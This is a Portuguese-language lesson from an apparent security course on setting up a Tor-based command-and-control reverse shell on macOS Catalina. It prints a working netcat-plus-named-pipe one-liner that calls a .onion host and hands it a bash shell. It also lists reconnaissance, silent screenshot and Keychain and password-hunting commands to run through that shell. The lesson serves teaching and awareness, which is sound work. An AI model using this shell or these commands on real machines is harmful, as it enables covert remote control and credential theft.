Aula 127 | MacOS e C2 via tor

Aula 127 | MacOS e C2 via tor

MacOS e C2 no tor

Diferente de outras demonstrações feitas em sistemas Linux, o foco aqui é mostrar que mesmo um sistema da Apple — frequentemente promovido como fechado e seguro — continua vulnerável a comandos remotos se certas condições forem atendidas, principalmente por manter uma base sólida no UNIX.

O laboratório foi estruturado para demonstrar como o simples uso de ferramentas nativas como Netcat e bash, somados ao redirecionamento de I/O e a um pipe nomeado (FIFO), pode simular um shell remoto funcional, discreto e interativo.

Por que o macOS Catalina?

O macOS Catalina (10.15), lançado em 2019, ainda é amplamente utilizado e compartilha a mesma arquitetura Darwin das versões mais recentes como Ventura, Sonoma e Sequoia. Essa base UNIX-like permite acesso ao terminal, ferramentas como bash, sh, zsh, e programas de rede como nc.

Mesmo com o visual moderno e integrado da Apple, o Catalina ainda carrega:

  • Um kernel híbrido (Mach + BSD)

  • Acesso completo ao terminal

  • Presença nativa de ferramentas de rede e scripting

O que significa que, com um pouco de criatividade, é possível simular uma comunicação remota sutil sem necessidade de ferramentas externas.

Ferramentas utilizadas

Bash

Shell padrão para automação e execução de comandos. No macOS, ainda disponível mesmo com a presença do zsh.

Netcat

Conhecido como o “canivete suíço da rede”, o nc permite:

  • Estabelecer conexões TCP

  • Redirecionar I/O

  • Simular shells reversos

Tor

Rede anônima que permite:

  • Encaminhamento por múltiplos nós

  • Acesso a serviços ocultos .onion

  • Anonimato entre o cliente (máquina alvo) e o servidor (C2)

Como funciona nosso projeto?

Durante a aula, montamos a seguinte estrutura:

  • C2: Servidor escutando na rede Tor, com domínio .onion acessível via proxy SOCKS5

  • Alvo: macOS Catalina com Tor rodando localmente

  • Conexão: netcat configurado para passar pelo proxy SOCKS5

  • Canal: bidirecional via named pipe (FIFO)

Comando executado no cliente (macOS):

rm /tmp/f; mkfifo /tmp/f
nc -x 127.0.0.1:9050 -X 5 netcat.onion 4444 < /tmp/f | bash > /tmp/f 2>&1

Esse comando:

  • Conecta ao C2 via Tor

  • Encaminha a saída do C2 para o bash

  • Redireciona a resposta do bash para /tmp/f

  • O Netcat lê /tmp/f e envia de volta para o C2

Resultado: Shell remoto interativo e anônimo.

Exemplos de comandos testados

No C2, você pode enviar:

Comando Ação
whoami Mostra o usuário atual
uname -a Informações do kernel
ls -la /Users Lista usuários
say "Você foi invadido" Fala uma frase no alto-falante
screencapture -x ~/Desktop/pic.jpg Tira uma captura de tela

INFORMAÇÕES DO SISTEMA

Comando Ação
id UID, GID e grupos
hostname Nome do host
sw_vers Versão do macOS
system_profiler SPSoftwareDataType Informações detalhadas do sistema operacional
uptime Tempo ligado
date Data e hora atual
arch Arquitetura do sistema (x86_64 ou arm64)

REDE

Comando Ação
ifconfig Interfaces e IPs
netstat -rn Rotas de rede
netstat -an Conexões ativas
lsof -i Portas abertas com processo
scutil --get ComputerName Nome da máquina
networksetup -listallhardwareports Lista interfaces de rede
ipconfig getifaddr en0  IP do Wi-Fi

SENHAS E SEGREDOS

Comando Ação
security find-generic-password -ga usuario 2>&1 Tenta recuperar senha do Keychain (requer permissão)
cat /etc/sudoers Verifica configurações de sudo
grep -i password /etc/* 2>/dev/null  Busca por arquivos que podem conter “password”

Segurança por obscuridade não é suficiente

O objetivo principal da aula é quebrar a ideia de que sistemas “fechados” são imunes a problemas. A Apple, embora tenha investido bastante em segurança, continua oferecendo acesso à linha de comando, conexões TCP e permissões de execução que, se não forem corretamente monitoradas e protegidas, podem ser exploradas como em qualquer outro sistema.

Mensagem final:

Um sistema só é seguro de verdade quando é bem configurado, bem monitorado e usado com consciência. Nenhum marketing ou ecossistema fechado substitui segurança real.

Alternativas a essa abordagem

Embora o foco tenha sido no uso de nc + bash, existem formas mais robustas de montar um C2:

Tecnologia Vantagens
Python Estrutura melhorada, integração com sockets, criptografia
Go/C/C++ Binários leves, baixa detecção, multiplataforma
Metasploit / Sliver / Mythic Frameworks completos com automação, agentes e persistência
SSH reverso Alternativa segura e simples para ambientes controlados

No entanto, o método utilizado aqui é ideal para demonstrações rápidas, diretas e 100% didáticas, sem ferramentas externas.

Sugestões de Aulas

Aula 128 | Windows e C2 via Tor

Ver Aula

Aula 126 | C&C no tor

Ver Aula

Aula 99 | Protocolo IRC

Ver Aula